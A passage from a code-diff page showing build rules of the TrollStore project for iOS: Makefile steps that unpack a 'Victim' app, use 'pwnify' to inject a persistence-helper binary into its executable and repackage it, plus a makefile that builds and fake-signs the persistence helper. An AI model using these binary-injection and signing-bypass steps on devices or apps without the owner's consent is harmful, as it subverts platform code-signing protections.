@mkdir -p ./_build/tmp64e
@unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e
APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \
APP_NAME=$$(basename $$APP_PATH) ; \
BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \
echo $$BINARY_NAME ; \
pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./_build/PersistenceHelper_Embedded_Legacy_arm64e
@pushd ./_build/tmp64e ; \
zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \
popd
@rm -rf ./_build/tmp64e
make_trollstore_lite:
@$(MAKE) -C ./RootHelper DEBUG=0 TROLLSTORE_LITE=1
@rm -rf ./TrollStoreLite/Resources/trollstorehelper
@cp ./RootHelper/.theos/obj/trollstorehelper_lite ./TrollStoreLite/Resources/trollstorehelper
@$(MAKE) -C ./TrollStoreLite package FINALPACKAGE=1
@$(MAKE) -C ./RootHelper TROLLSTORE_LITE=1 clean
@$(MAKE) -C ./TrollStoreLite clean
@$(MAKE) -C ./RootHelper DEBUG=0 TROLLSTORE_LITE=1 THEOS_PACKAGE_SCHEME=rootless
@rm -rf ./TrollStoreLite/Resources/trollstorehelper
@cp ./RootHelper/.theos/obj/trollstorehelper_lite ./TrollStoreLite/Resources/trollstorehelper
@$(MAKE) -C ./TrollStoreLite package FINALPACKAGE=1 THEOS_PACKAGE_SCHEME=rootless
else
make_trollstore_lite:
@$(MAKE) -C ./TrollStoreLite $(MAKECMDGOALS)
endif
.PHONY: $(TOPTARGETS) pre_build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e

View File

@ -0,0 +1,17 @@
TARGET := iphone:clang:14.5:14.0
INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper
include $(THEOS)/makefiles/common.mk
APPLICATION_NAME = TrollStorePersistenceHelper
TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m
TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices
TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences
TrollStorePersistenceHelper_CFLAGS = -fobjc-arc
TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist
include $(THEOS_MAKE_PATH)/application.mk
internal-stage::
ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper

View File

Before

Width:  |  Height:  |  Size: 2.8 KiB

After

Width:  |  Height:  |  Size: 2.8 KiB

View File

Before

Width:  |  Height:  |  Size: 6.0 KiB

After

Width:  |  Height:  |  Size: 6.0 KiB

View File

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 10 KiB

View File

Before

Width:  |  Height:  |  Size: 4.0 KiB

After

Width:  |  Height:  |  Size: 4.0 KiB

View File

Before

Width:  |  Height:  |  Size: 8.7 KiB

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 15 KiB

View File

Before

Width:  |  Height:  |  Size: 5.1 KiB

After

Width:  |  Height:  |  Size: 5.1 KiB

View File

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Some files were not shown because too many files have changed in this diff Show More